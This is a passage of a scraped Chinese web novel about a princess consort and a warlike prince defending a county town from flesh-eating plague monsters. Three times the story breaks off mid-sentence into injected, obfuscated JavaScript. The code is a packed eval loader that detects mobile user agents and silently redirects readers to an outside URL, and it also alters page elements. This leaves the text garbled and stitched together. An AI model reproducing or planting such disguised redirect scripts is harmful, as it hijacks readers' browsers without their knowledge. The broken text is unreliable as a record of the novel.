他毕竟没有亲眼见过那些生啖血肉的怪物,任那位睿王妃讲得再恐怖玄乎,他也只觉得她是被几个得了狂症的叛军吓破了胆。但碍于这位节度使之女的淫威,对于她的指令他也只能一一照办,心中安慰自己若是事后上面问责下来,有这位贵人在前面顶着,他也不至于落得个太惨的下场。 曹德全忙到后半夜才得空休息,刚在城楼下的巡铺里浅眠了会儿,就听到手下来报,说是县令大人回来了,现在正在城门外叫门。 曹德全悚然一惊,差点从榻上滚落下来,他慌慌张张穿好衣服登上城楼,果然看到了城门外列着一队森然肃杀的骑兵队伍,也不知是什么来头。 领头的一匹黑色宝马上赫然坐着一位威风凛凛的小郎君,自己的上峰——顿丘县的县令卢望川坐在那小郎君身后,头发散乱,一脸污泥,看起来滑稽又狼狈。 一看到曹德全,马背上的卢望川眉毛一竖,立马冲他喝道:“大胆,还不开门!” 曹德全顿时叫苦不迭,正要转头去吩咐卫兵打开城门放行。 卫兵得令,正要转身。 “不许开门!” 一道清亮的声音骤然响起。 曹德全一愣,抬头一看,就见一位貌美如花却面如寒霜的小娘子正沿着城门楼的阶梯拾级而上,不是那位睿王妃又是谁? “没我的命令,今日谁都不许放人进城!!!”她冷冷扫他一眼,登上城楼朝下望去。 曹德全欲开口,稍作思索后,立马识趣地闭上嘴,恭敬地给那位睿王妃让出位置。 昨夜的大雨已经停了,城门楼上挂着的旌旗在风中猎猎作响。 秦扶鸾低头去看城门下的众人,目光扫到那匹黑色骏马时顿了一瞬,再缓缓上移,对上一双锐利若寒星的眸子,她双眼一亮,心道这人生得倒是极好,竟比阿姐费尽心思搜罗来的那个俏郎君还要俊上几分。 秦扶鸾心思活络,面上却沉稳,她抬高声音,道:“城外发生疫情,暂时不能开门放诸位进城。” 听到这话,城门下的众人顿时变得焦躁起来,一位抱着婴儿的妇人绝望地嘤嘤哭泣,其情其状,着实可悯。 “求求贵人发发善心放我们进城去吧!” “求小娘子开恩!给条活路吧!” “求小娘子可怜可怜我们母子,小妇人给贵人磕头了!” 对于这些哀告,秦扶鸾并未理睬,而是将目光放在那支骑兵队伍上。 这些骑兵个个体貌魁梧,身披明光铠、腰悬双鱼符,手中马槊闪着寒光,马具上所配弓弩、障刀一应俱全,身下的坐骑也是膘肥体壮,尤其是那领头的一骑,神骏非凡,品貌绝佳,乃是稀世之珍。 秦扶鸾的目光再次落在那匹通体漆黑的骏马上,双眼微微眯起,透出一丝渴望。 也不知马上那猿臂蜂腰、相貌俊俏的青年是何来头,竟能弄来这种顶级品相的宝驹。 她尚未得出结论,便见那青年勃然作色,纵马出列,一双俊目森然盯住她。 秦扶鸾自小在节帅府中长大,见过的悍将雄兵不计其数,此刻被这惊心动魄的眼神一瞪,她非但不惧不恼,反而还生出一丝兴味来。 “诸位稍安勿躁,我知道诸位畏惧身后那噬人血肉的怪物,但……” 她的话还未说完,就见那青年忽地掉转马头,朝远处官道方向奔去,同时高喝一声:“铁力昆!” 从骑兵队伍里又奔出一骑,直奔城墙方向而来。 秦扶鸾不解其意,低头去看,就见那被称为“铁力昆”的雄壮男子勒马停在墙下,脚踩马蹬、扎稳马步、双手交叠、以掌为阶,转头望向远处那青年。 青年伏腰勒缰,眼神如鹰隼般盯着那铁力昆,忽地,他猛甩手中马鞭,□□那匹纯黑不杂的宝马如风驰电掣,直直朝城墙方向奔来。 待到近前,他借着奔马之势,劲腰一拧,从马背上旋身而起,足尖轻点那壮汉手掌。壮汉暴吼一声,双手全力往上一送。青年借力一跃,整个人如离弦之箭,竟然直接攀上了两丈多高的城墙。 一系列动作如行云流水,只发生在电光火石之间。 秦扶鸾没来得及反应,下意识后退几步,就见城门楼上,那青年站稳身体,缓缓抽出腰间横刀,一双寒眸紧紧盯着她的脸,朝这边大步踏来。 秦扶鸾矍然一惊,一只手摸到腰间短刀,喉咙发干:“你……” 那青年满脸杀气,目光冰冷地扫过她的脸。 青年五官生得极为俊美,高鼻深目,唇如渥丹,只美中不足的是左下颌连着脖颈处横着一道狰狞的疤痕,恍若白璧微瑕。那疤痕将他原本精致五官所带来的俊秀之气生生破开,凭空多出几分凶戾和阴沉,恍若太岁凶神临世。 秦扶鸾心尖发颤,待要拔出短刀,青年却大步越过她,将手中利刃“欻”地横在县尉曹德全的脖子上。 “开门!”他寒声道。 曹德全一时不妨,吓得“扑通”一声跪倒在地,被那青年身上锋利的肃杀之气和强大的压迫感所慑,哆哆嗦嗦说不出半个字。 秦扶鸾僵在原地。 那青年虽将刀横在曹德全的脖子上,可眼神却一直冷冷盯住她。他手中的那柄横刀寒光凛冽,似乎下一瞬就要削去她的头颅。 秦扶鸾以前在幽州也时常和阿耶手下的那些悍将交手,但那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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等确认身上没有伤痕,公人们这才将人放进城内。若是看见身上有伤痕的就毫不留情地将其塞进囚车内。 青年看了片刻,心中有了一个大致猜测,转头去看身边那少女。但见她正垂眸看着城下,双眉微皱,神情颇为忧虑。 一名年轻的武将持刀匆匆赶来护在她的身边,神情警戒地盯着他。 “你……”青年皱紧双眉,正要说话。 “殿下!” 卢望川经过层层检查已被放入城内,在杜文宪的带领下火急火燎地登上城楼,看到并肩而立的两人,他脸上露出狂喜的神色,冲过来伏身拜道:“下官顿丘县县令卢望川,见过王妃殿下!” 说罢,又朝那青年深深地拜了一拜,用无比恭敬的语气给众人介绍道:“这位是靖王殿下。” 此话一出,城门楼上一片寂静。 靖王李巽之,当今圣人的第九子,与秦扶鸾将要嫁的那位睿王殿下乃是一母同胞的亲兄弟,不比其兄长的贤名,这位靖王殿下自小以凶悍嗜杀闻名,传言其十岁那年曾一夜之间斩杀数十名宫人,成年后虽能征善战,但依旧凶名在外、性情阴晴不定,满朝文武、公卿世家无一不畏其如虎。 没想到这位大名鼎鼎的靖王殿下今日竟然会出现在此地,围在旁边的众人骇了一跳,忙朝青年恭敬行礼。 秦扶鸾刚才看到那道伤疤,心中早猜到几分这青年的来历,此时听到这话,她并没有太意外,只是面上故作讶异,看着青年的眼睛,用十分意外的语气道:“原来是九弟。” 她将“九弟”两个字咬得极重。 听到这个称呼,青年的面色僵了一瞬,他瞥了秦扶鸾一眼,眉压霜雪,目光如刀,显然十分不悦。 秦扶鸾眉眼弯弯地看着他,脸上的笑容看起来十分可亲。 眼前的这位靖王殿下性情虽凶悍难驯,却唯独十分敬重他的兄长睿王,甚至比敬当今圣人更胜几分。坊间传言有次靖王发怒要斩杀一名小黄门,其兄睿王恰好路过,温言相劝,这才救了那小黄门一命。传言不知真假,但兄弟二人的棠萼情深确实一度传为佳话,黄发垂髫,贩夫走卒,无人不知,无人不晓。 这靖王李巽之既如此爱戴他的兄长,就少不得应承她这一句。 果然。 就见青年沉下一张脸,神色虽颇为勉强,到底还是拱手唤了一声:“嫂嫂。” 秦扶鸾微笑着点点头,坦然地受了他这个礼,却不开口说话。 两波人马僵在城门楼上,气氛正有些尴尬。 “下面那……那些就是你们说的怪……怪物吗?”身后响起了县尉曹德全颤抖的声音。 4. 第 4 章 听到这话,众人齐齐转头朝城门下看去。 昨夜的那场暴雨已经停了,远处笼罩着一层朦胧的雾气,晨光熹微,隐隐约约可见几个伶仃的人影在雾气中飘荡。有人声从雾气中传来,破碎不成句,像是被这浓重的雾气放慢了很多。 众人屏气凝神,一种不安之感在空气中弥漫开。 忽地,狂风骤起,将雾气吹散。 只见一群姿势奇诡的“人”正以极快的速度朝这边涌来,它们有的肢体残缺,有的歪着脖子,行走姿势和神情体态一眼看去就与常人不同,它们双眼猩红、一脸兴奋地追逐着前面仓皇逃难的人群,如同一群饥肠辘辘的鬣狗在追逐猎物。 近似野兽的咆哮低吼声、凄厉惨烈的呼救声,和杂乱急促的脚步声交杂在一起,声音由远及近,让人后背寒毛倒竖。 一名白发苍苍的老者因为惊慌腿软摔倒在地,他颤颤巍巍地抬起手,还没来得及呼救,立刻被身后的“人群”扑上来撕得粉碎,鲜血如泉涌,顷刻之间将脚下的黄土染得通红。 越来越多的人被那些怪物扑倒啃噬。 从城门楼上望去,黄土地上开出一朵一朵殷红的花,让人头皮发麻。 曹德全吓得脸色惨白,喃喃道:“竟然是真的,莫非是在做梦……” 秦扶鸾在那群怪物里看到了几张熟悉的面孔。那是阿耶亲手交给她的亲信牙兵,个个都是阿耶悉心调教的精锐,现在却变得面目全非。她怔在那里,一时之间喉头苦涩难言。 正在城门外等待检查的难民们也发现了远处朝这边快速奔来的怪物。 “是那些东西!!!” “它们……追上来了!” 一时之间众人惊慌失措,顾不上畏惧公人们手中的利刃,如同潮水一般疯狂涌向城门。那些公人们也被吓得魂不附体心慌腿软,很快就被突破了包围圈。 这时一旁的囚车内又传来了惊慌的尖叫声。 “救命!!她发狂症了!!!” “不是狂症!她变成那东西了!!!” 原来是之前一个身上有咬痕的妇人突然双眼猩红四肢扭曲发了狂似的去撕咬囚车内的另一个人。 看到那一幕,城门下的众人更是惊恐,不要命地往城门内冲。 这些人尚未接受过检查,一旦被他们冲进城内,后果不堪设想。 眼看城门就要被冲开,一道身影疾如闪电冲到了城门下,山岳般不可撼动挡在了城门前,他将手中那柄三尺长的横刀一亮,高喝一声:“擅闯者死!” 是冯简。 众人被他身上散发的凌厉气势震住,一时之间顿住脚步,无人敢上前。 可身后的那群怪物还在以极快的速度在逼近,空气中已经能闻到它们身上散发出的腥臭气息。 左右都是一个死,被砍死总被那些东西咬死好。 “让我们进去!!!” “快开门!!!” 人群中一名壮汉双眼通红地盯着冯简手中的横刀,一脸蠢蠢欲动,瞅准时机,他绕到侧面,一脸视死如归地冲了过去。 谁知冯简的后背像是长了眼睛,回身一刀,“欻”的一声,众人还没看清他的动作,锋利的刀身已经削下那壮汉头顶上的发髻。 那壮汉愣在那里,头发散落下来,糊满了半张脸,他面色如纸,表情活像是看到了鬼。 趁着众人被他凌厉的刀法震慑住的瞬间,冯简面色焦急地仰头去看趴在城墙头上的秦扶鸾,目光中透着问询。 秦扶鸾回过神来,浑身打了一个激灵,立刻抬高声音冲他喊道:“先放那些公人进城!”说罢,又转头冲马车的方向吼道:“青禾青苗!快进城!” 青禾青苗回身看了一眼身后苦苦哀求的妇人们,跺跺脚,拎着裙子朝城门这边跑过来。 城门楼上,杜文宪看着那些哭嚎哀求的难民,忍不住开口问:“那些百姓呢?” 秦扶鸾咬咬牙,没有说话。 那些百姓还没有接受过检查,放不放他们进城,她没有办法在一息之间做出这个艰难的决定,她只知道现在能活一人则活一人,至少青禾青苗和那些公人的命要保住。 “王妃倒是很懂得亲疏分明。” 秦扶鸾回头去看,对上了一双带着嘲意的锐利双眼。 这人模样生得虽好,但总一副冰冷又倨傲的样子,实在让人恼火。 秦扶鸾心中本就焦躁,此刻更是被这眼神激出了一点怒气,她挑挑眉,问:“那么敢问靖王殿下有何高见?” 李巽之没有说话,只是冷哼一声,转身大步朝城门下走去。 秦扶鸾下意识地问:“你要去哪?” 李巽之头也不回。 隐隐约约意识到他想做什么,秦扶鸾在他身后高声喊道:“一旦被咬,就会变得跟它们一样!” 李巽之大踏步向前,依旧没有回头。 好心喂了狗!好言难劝想死的鬼! 秦扶鸾压下心头火气,收回视线,望着城门下那些绝望的面孔。 在最初的震惊后,那些难民已经回过神来,他们不管不顾地冲向站在城门前的冯简,冯简不忍对这些手无寸铁的平民下手,只能用自己的身体去挡,可不管他的力气再大,又怎么可能同时挡住这么多人。 再这么下去,恐难支撑太久。 在他们身后,是一大群正在疾速靠近的怪物。它们嘴里发出兴奋的、嗜血的咆哮,那是死亡即将到来的潮音。 如果此时不开城门,城门前的这些人无疑会沦为那些怪物的口中餐。 秦扶鸾扶着城墙头的双手在颤抖,远处那令人心惊胆颤的嘶吼声和城楼下尖锐绝望的求救声如潮水一般淹没了她,一片混乱中,她又猛地转头去看身后。 顿丘县城内街衢纵横如棋盘,将整座城池分割为大大小小的数十个里坊,此时朝阳初升,袅袅炊烟从坊内徐徐上升,街道上依稀可见运送货物的小贩和工匠步履匆匆,不远处的佛寺内传来悠扬厚重的晨钟声,一派平和之景象。 粗略估计,城内应有十万户人家。 秦扶鸾曾亲眼见过那些噬人血肉的怪物是如何在瞬息之间夺走一条活生生的人命,她不得不在做决定的时候慎而又慎,脑中蹦出来无数条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068819|195189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可行的方法,可又被她一一否决。 一旦放了这些难民进城,她没有办法知晓他们是否被咬过,也没有能力预测他们何时何地会变成那些怪物,更没有把握能完全控制住那些人的一举一动。若是他们一迈进城门就开始发疯咬人,那些公人根本没有能力阻拦,以疫情传播的恐怖速度,哪怕只漏掉了一人,那么只此一人就足以改变这整整十万户人家的命运。 秦扶鸾越想越觉得脑仁生疼,时间在一分一秒地过去,那些怪物如同一股不可阻挡的海潮,转眼就涌到近前,一只无形的手紧紧攥住了秦扶鸾的心脏,让她几乎要喘不过来气。 她额头上渗出一层热汗,心脏几乎要跳出胸膛。 “是靖王殿下!”旁边突然传来了卢望川的惊呼声。 秦扶鸾猛然抬起头。 就见一道墨色闪电从城内奔出,恍如一支离弦的玄铁箭簇,直直刺向不远处那些咆哮而来的怪物。 在众人的惊呼声中,李巽之一骑当先,手中那杆精钢长枪如银龙翻飞,日光下泛着寒光,枪尖所到之处恍若秋风扫落叶。马蹄声踏起一片泥水,他身后那支骑兵队伍紧跟其后,刀光剑影连成一片,看得人胸膛中血液翻涌。 那群张牙舞爪的凶残怪物浑若秋天里霜打的白菜,来不及反应,任由那些骑兵砍杀,一时间血雾飞溅,那血腥场景让人不忍仔细去看,闭上眼睛,只听得利器刺进□□的声音让人心肝儿都在颤,再睁眼去看时,地上已经倒了一大片尸首。 城门楼上,秦扶鸾看得暗暗心惊,那些怪物行动迅捷且凶猛异常,可李巽之砍它们直如砍菜瓜似的轻松,足见其“凶神”之名并非虚传,且他手下的这些将士也是个个训练有素、神勇非凡,虽只有区区几十骑,却足足杀出了百万雄兵的气势。 不知阿耶手下的那支亲卫牙军对上这支骑兵队伍如何。 她盯着马背上的那道身影看了片刻,深吸一口气,说:“关闭城门。” 卢望川一愣,神色惊慌:“可靖王殿下他还在城门外!” 杜文宪听到这话也是吓了一跳,他转头去看秦扶鸾的侧脸,见她目光坚定似成竹在胸,他咬咬牙,拎着袍角转头奔下城门楼自去安排。 “副使大人!万万不可!”卢望川目瞪口呆,想要伸手去拦,却哪里还能拦得住? 秦扶鸾的目光越过焦急万分的卢望川,转而看向角落里的另一人。 县尉曹德全被眼前的一切吓得不轻,站在那里一脸茫然。 秦扶鸾看着他苍白的脸,沉声问道:“曹大人,准备好了吗?” “啊?”曹德全愣愣地回过头,他被城门外的那些怪物吓得心脏突突,此刻听到这话,一时间如坠云雾,有些摸不着头脑。 可抬头对上秦扶鸾那双闪闪发亮的锐利双眸,他脑中白光一闪,脑子瞬间变得清明。 城墙上赤色旌旗在风中猎猎作响,城墙下飘起滚滚血雾,人间一片凄惨。 曹德全浑身血液翻涌,心中生出无限勇气和力量,朗声回道—— “回王妃殿下!昨夜交代之事已一一完备!谨听殿下吩咐!” 5. 第 5 章 “殿下,小心身后!” 随着一声惊呼,李巽之回身一枪贯穿一个朝他扑来的怪物。那些怪物速度奇快,前面的刚倒下,后面的已经踩着同伴的尸首已猛扑至马下。他舍弃长枪,转而抽出腰间三尺长刀,刀锋所到之处血色飞溅,将马蹄下的黄土染得猩红。 忽听身后一阵沉闷的“嘎吱——咣当”声响,城门关闭了。 李巽之面色不变,嘴角冷冷勾起,一双凤目微微压低,危险的眸光扫过面前不断朝他涌来的怪物。 这些怪物虽行动无序,完全不是他们的对手,但速度奇快且悍不畏死,无论伤得多重,只要尚有一丝行动能力就会锲而不舍地爬起来继续攻击他们,实在颇为难缠。 李巽之皱紧双眉,正思考这些怪物是否有什么罩门可破。 城门楼上突然响起一道清亮高昂的声音—— “弓弩手就位!” 他抬头去看,就见城门楼上立着一道纤细身影,她迎风而立,左手挽长弓,右手勾弦,手中动作如行云流水,风将她层层叠叠的裙摆吹得恍若一朵徐徐展开的粉色芙蕖,远远望去颇具观赏性。 李巽之双眼微眯,好似看到那人冲着他的方向挑衅似的一笑,距离太远,他看不真切。 “射!” 伴随着这清透如裂帛之声,一支破云箭离弦而出,竟是朝着他面门直扑过来。 李巽之端坐马上,不避不让。 闪着寒光的箭簇裹挟着尖锐短促的破空声,擦着他的侧脸飞过,射向他身后的怪物。 “噗嗤”一声,那是箭簇深深刺进血肉里的声音。 秦扶鸾收起手中长弓,眼神沉静凛冽,下一秒,却带着几分得意之色冲他的方向挑了挑眉。 李巽之此时得以确认,这个小小的节度使之女竟然真的是在挑衅他。 他望着城门上的那个身影,双眼微眯,眸光中压着一丝冷意。 数百支箭羽跟在那支破云箭后面,狂风暴雨般落在了那些面目狰狞的怪物身上。 有了弓弩手助阵,骑兵队伍的压力一下子减轻不少。 先前逃难过来的那些百姓围聚在城门前瑟瑟发抖,冯简反应迅速,他组织那些尚未来得及回到城内的几个公人半是辖制半是保护地把那些百姓圈了起来,又安排人开始快速检查他们身上是否有咬痕。依旧按照秦扶鸾之前的吩咐,身上没有咬痕的放进城内,有咬痕的塞进囚车内。 百姓们原本还有些扭捏,但因惧怕那些近在眼前的怪物,现下全都非常配合地脱光身上的衣裳接受检查。 等众人都检查完毕,骑兵队伍且战且退,聚在了城门下。 “放!” 又听一声喝令。 就见无数裹着铁钉的滚木和沉重的礌石从城墙下滚滚而落,瞬间将张牙舞爪扑上来的怪物砸得稀巴烂。 秦扶鸾站在城墙上,从上至下俯瞰而去,见近处的怪物已经被斩杀殆尽,她抬手吩咐:“开门。” 城门应声而开,众人忙逃也似的奔进城中。 骑兵队伍缀在末尾,正要纵马回城,却被冯简拦住去路,他站在马下,叉手行礼,恭敬道:“靖王殿下,请诸将士下马接受检查。” 李巽之端坐马上,眼角余光都没扫过来半分。他身旁一青年将士斜睨冯简一眼,不屑道:“你算什么东西,敢拦靖王殿下?” 冯简正要开口,身后传来一道声音。 “放他们进去。” 他一愣,转头去看。 就见秦扶鸾拎着裙角从城门楼上下来,她快步走来挡在冯简身前,仰头看着马上的李巽之,脸上带着笑,赞道:“九弟今日好风采。” 李巽之终于有了一丝反应,他转头眸光冰冷地扫过来。 就见那少女仰头看着他,脸上挂着浑无嫌隙的笑容,好似两人真的是一对关系融洽的叔嫂。 李巽之眉头隐隐跳动,攥着缰绳的手紧了又松,最终只是收回目光,冷着一张脸,带着几十骑兵纵马离去。 “王妃殿下,若是那些骑兵……”冯简略带忧虑的声音从身边传来。 “他能应对。”秦扶鸾抬抬手,她的目光追随街道尽头的那队骑兵,幽幽道:“可恨阿耶给我的那一千牙兵……” 她叹了一口气,转头看向身后。 城门在他们身后慢慢合拢。 透过中间那道渐渐合成一线的缝隙依稀可见地平线那边几个僵直的身影正朝这边靠近。 那些怪物正在慢慢逼近这座城池。 源源不断,杀之不尽。 - 很快,城外围了怪物的消息在顿丘县内传开。 恐慌如同瘟疫在城内迅速传播开,县衙门口聚集了一大堆来探听消息的百姓,将一条街堵得水泄不通。 公人们尽力安抚着众人的情绪,但显然收效甚微。 “端公,敢问这城门要关到何时?小人有一车鲜货今日要加急运往州府,再耽搁下去怕是就卖不出去价钱了!”一名包着幞头、作商人打扮的中年男子神情焦急地望着站在县衙门前的那些公人。 人群中一个壮汉立马高声附和道:“是啊,好端端地为何突然要关城门?难不成城外真有吃人血肉的怪物?” 此话一出,周围瞬间陷入躁动,众人望向那些公人的焦躁眼神也带上了些小心翼翼的畏惧,他们焦躁地想要知道真相,却也畏惧那些流言成真。 “吃人血肉的怪物?莫不是山中的大虫下了山?” “若真是大虫作怪,召些猎户来打杀了便是,为何要关闭城门,还征调了那么多民夫在城墙戍守?” 几个公人刚刚经历城门外的惊魂一幕,此时尚心有戚戚,又被那些百姓吵得心烦意乱,手持水火棍发出一声威吓,霎时间周围百姓被吓得噤声,却依旧围在县衙外不肯离去。 县衙外乱得如同一锅煮沸的滚水。 此时县衙内的大堂里也不甚清净,靖王李巽之端坐主位,其他人依次列坐在他的下手位。 堂中放着一辆囚车,囚车内困着四五个双目猩红、张牙舞爪的怪物。 县令卢望川一边擦着额头上的汗一边向靖王李巽之汇报着暂时拟定的临时守备计划。 “一则是昼夜巡防,在城门楼上增设岗哨,组建青壮民兵进行轮班;二则是平市籴设官市,实行物资管制,统一管控城内铁器、药材、粮草等物资;三则是开义仓……” 坐在主位上的李巽之换了一身紫色袍衫,衬得这位冷面杀神容颜如玉,多了几分矜贵之气。他听着卢望川的汇报,视线却落在堂中的那辆囚车上。 堂中其余诸人的目光也都紧紧盯着囚车的方向。 一个身穿盔甲的青年手中拿着一根沾满鲜血的铁棍,神色平静地拨弄着囚车内的怪物。 几个怪物被青年吸引,龇牙咧嘴地从囚车中探出手臂想要扑向他,一个怪物张开血盆大口狠狠咬在青年手中的那根铁棍上,只听“咯嘣”一声,鲜血混合着牙齿碎片从那怪物的嘴角流出,那怪物却浑然不知痛楚,一双猩红的眼睛依旧死死盯着面前的青年不放。 那青年盯着那怪物看了好一会儿,轻叹一口气,转身冲主位上的李巽之摇了摇头。 李巽之双眉紧锁,没有言语。堂中诸人也是神情沉重。 嘶吼声和□□撞击囚车发出“砰砰”的撞击声不绝于耳,卢望川收回视线,忍着牙酸,哆嗦着说完了暂时拟定的守备方案。 李巽之沉着一张脸,道:“准,速办。另外,速派急函给各州县,让他们做好应对之策。” “是是是……”卢望川点头如捣蒜,正待开口说话。 秦扶鸾忽插嘴道:“昨夜我已经命杜副使发急递前往州府,只是看城外的状况……不知驿卒能否顺利将函件送到。” 李巽之浑若未闻,转头看向卢望川,道:“再有,命各坊坊正立刻清点坊丁,编入城防,十人一组,在城中各处仔细排查,若发现异常,立即来报。” 秦扶鸾又道:“昨夜我已经安排人手去城中挨家挨户地排查过,暂时没有发现异常。” 李巽之嘴角紧抿,依旧不理:“这些东西是何来头?卢大人可有头绪?” 秦扶鸾正要开口:“我……” 话未出口,李巽之忽地转头盯着她,眉眼压着一团怒气,冷冷道:“莫非王妃知道缘由?” 秦扶鸾愣了一下,摇摇头:“非也,我是想说那些东西着实古怪,一旦被咬就会传染,看起来像是某种疫症。”她皱皱眉,表情有些苦恼:“但我从未听过有哪种疫症会如此古怪……” “疫症?王妃是说那些人感染了疫病?”李巽之的目光扫过她的脸,语气森森道:“本王还以为和王妃殿下带来的那些牙兵有关,毕竟动乱是由那支送亲的牙军队伍始发。” 秦扶鸾一怔,神色僵住,反应过来,立马眉毛一竖,怒道:“你此话何意?!” 李巽之眸光冰冷地望过来,理了理袖口,好整以暇道:“幽州蛮荒之地,民众未经教化,不尚清洁,或身携疠气,亦未可知。” 秦扶鸾此次折损了亲卫牙兵本就痛心,偏偏这人哪壶不开提哪壶,言辞间还意有所指,实在让人恼火,她顾不得对方的身份,攥紧拳头,骂道:“李老九,你休要血口喷人!” 两人针尖对麦芒,气氛一时间剑拔弩张。 一旁的卢望川吓得不知如何是好,忙用求助的目光地去看杜文宪。 李巽之刚才那一番话实在有些诛心。如今藩镇和朝廷的关系本就敏感,从幽州带来的牙兵在送亲途中突生暴乱,不管真实原因究竟如何,一旦被有心之人拿去做文章,对幽州那边怕是极为不利。 杜文宪额头上的冷汗冒了出来,忙起身拱手道:“靖王殿下明鉴,昨日送亲队伍行至昌乐县与顿丘县中间时突发异动,王妃殿下带着臣等拼死搏斗,这才堪堪保住了一条性命。若是牙兵队伍身上携带疠气,怎会到此地才突然爆发?此次异动着实诡异,幽州牙军几乎全军覆没,还请殿下明辨。” 卢望川也忙劝和,道:“是是是,前日下官听说昌乐县境内爆发了疫情,急忙发了函件去打听情况,但尚未收到回信,城外就出现了那些……东西,想是应与昌乐县的疫情有关。” “什么?昌乐县?!”秦扶鸾脸上怒气未消,听到这话,她转过头瞪大眼睛去看卢望川,急道:“你说这疫情是由昌乐县始发?” 当时送亲队伍是听说昌乐县爆发动乱这才绕行前往顿丘县,可却从没有人提过那昌乐县里还有疫情! 卢望川脸上的表情有些迟疑:“下官也不能确定,只是前日刚听说昌乐县发现疫情并由此引发暴乱,昨日附近就出现了那些东西,故而猜测源头应当就是昌乐县。” 秦扶鸾如遭雷击,嘴里喃喃道:“竟是昌乐县……”昨夜她忙得晕头转向,竟然完全没有想起来这一茬! 李巽之冷冷瞥秦扶鸾一眼,见她苍白着一张脸,显然是有隐情。 不过他自然没有那个闲心去问。 李巽之收回目光,沉吟不语。 昌乐县有疫情这事李巽之并非不知情,他心中也早就猜测此次幽州牙兵之乱怕是与那疫情有关,只不过方才他见那秦氏女在这里指手划脚、颐指气使,实在忍不住心中怒火,这才出言敲打一番。 军队发生暴乱是一个极其敏感的政治话题,更何况幽州藩镇和朝廷的关系本就微妙,如今幽州牙兵在此地发生暴乱,那秦氏女本该夹着尾巴做人,现在却反而在此处大发王妃的威风,实在是不知死活! 想到此处,李巽之勉强压下心中怒火。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068820|195189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在最亟待解决的乃是城门外那些非人非鬼的东西,若真是感染疫病所致,那必得去始发地昌乐县弄清源头对症下药才行。 “本王要带人去一趟昌乐县,顺便送信去州府,明日一早出发。” 此话一出,大厅内静默无声。 秦扶鸾回过神来,眼神一亮,转头和杜文宪对视一眼。 杜文宪眼皮一抽,不动声色地冲她摇了摇头。 那边卢望川也是吓了一跳,忙慌张开口道:“殿下,此举太过冒险……” 不说现在城外围着很多怪物,能否安全突围出去都是一个问题,就说那昌乐县乃是疫情始发之地,情况只会比顿丘县更加凶险。 “殿下乃天潢贵胄,身系天下之重,万不可以身犯险……”卢望川小心翼翼地开口劝阻,看见李巽之冷冷瞥他一眼,立刻吓得后背冒汗舌头打结。 李巽之做事向来雷厉风行,撂下一句话便起身离席,大步朝外走去。 “我和你一起去。” 骤然响起的清脆声音让大厅内又是一阵沉默。 李巽之顿住脚步回头去看,就见刚才还和他吹胡子瞪眼的少女正坐在那里仰头望着他。她双腿跪坐在地,上半身微微直立,虽极力掩饰,脸上神情依旧透出几分急切。 “哦?”他挑挑眉,道:“王妃殿下难道也想为这满城百姓尽一份心力?” 秦扶鸾忽略了他话语中的讽刺意味,站了起来,解释道:“我手下有一名将军于昨日前去昌乐县查探情况尚未归来。” 李巽之的目光上移,对上她那双清泓如水却透着焦急担忧的双眸,道:“原来是为了手下爱将,难怪。” 秦扶鸾挤出一个笑,重新拾起那亲近的语气,道:“九弟,我……” “不行。”李巽之拒绝得很干脆,没有丝毫婉转。 秦扶鸾脸色一僵,正欲开口说些什么,忽被一旁的杜文宪拉住袖子。 秦扶鸾回头看着杜文宪,不等对方开口,她语气有些着急地抢白道:“那可是叶将军!” 杜文宪表情严肃,低声道:“王妃殿下,叶将军为人机敏、武功盖世,定会化险为夷!若真是遇到了性命攸关的险情,殿下现在过去了又有何用?” 秦扶鸾胸口剧烈起伏着,她望着杜文宪,片刻后,别开脸,坐了回去,同时深深地吸了一口气。 见她听劝,杜文宪这才从坐席上起身,绕到厅下,朝着李巽之的方向叉手行礼,恭声道:“靖王殿下,王妃殿下与那位叶将军从小一起长大,情同至亲。殿下到了昌乐县,若得闲暇,能否帮忙留意一下叶姓将军的踪迹,纵不得寻获,王妃殿下与下官亦同感殿下垂怜之恩。” 李巽之神色有些古怪,他冷冷扫了秦扶鸾一眼,没有应承也没有拒绝,转身大步朝外去了。 他那几个心腹将士和县尉曹德全紧随其后。 卢望川见状也忙趋步跟上去。 李巽之头也不回,冷声道:“你留在此处做你的事,不必跟着本王!” 卢望川愣了一下,这才恭敬应道:“下官奉令!” 待李巽之一行人的背影消失在走廊尽头,大厅里的压抑气氛这才稍稍缓解。卢望川连忙转过身来陪着笑安慰秦扶鸾和杜文宪二人:“靖王殿下面冷心热,定会帮王妃殿下和副使大人留意那叶将军的踪迹,王妃殿下和副使大人请安心。” 杜文宪朝卢望川摆摆手,回身落座,低声劝慰仍在忧心的秦扶鸾。 卢望川不便打扰二人说话,识趣地走开几步,视线在大堂内逡巡了一圈,问旁边的公人:“县丞呢?” 现下县衙外围了一圈的百姓,城外又围了一圈吃人血肉的怪物,卢望川现在要处理的事情是千头万绪,这个紧要关头,县丞竟然不见踪影,实在不像话。 公人答:“回明府,县丞大人告假在家还未归来。” 卢望川皱紧眉头,气不打一处来:“派人去把他叫回来!” 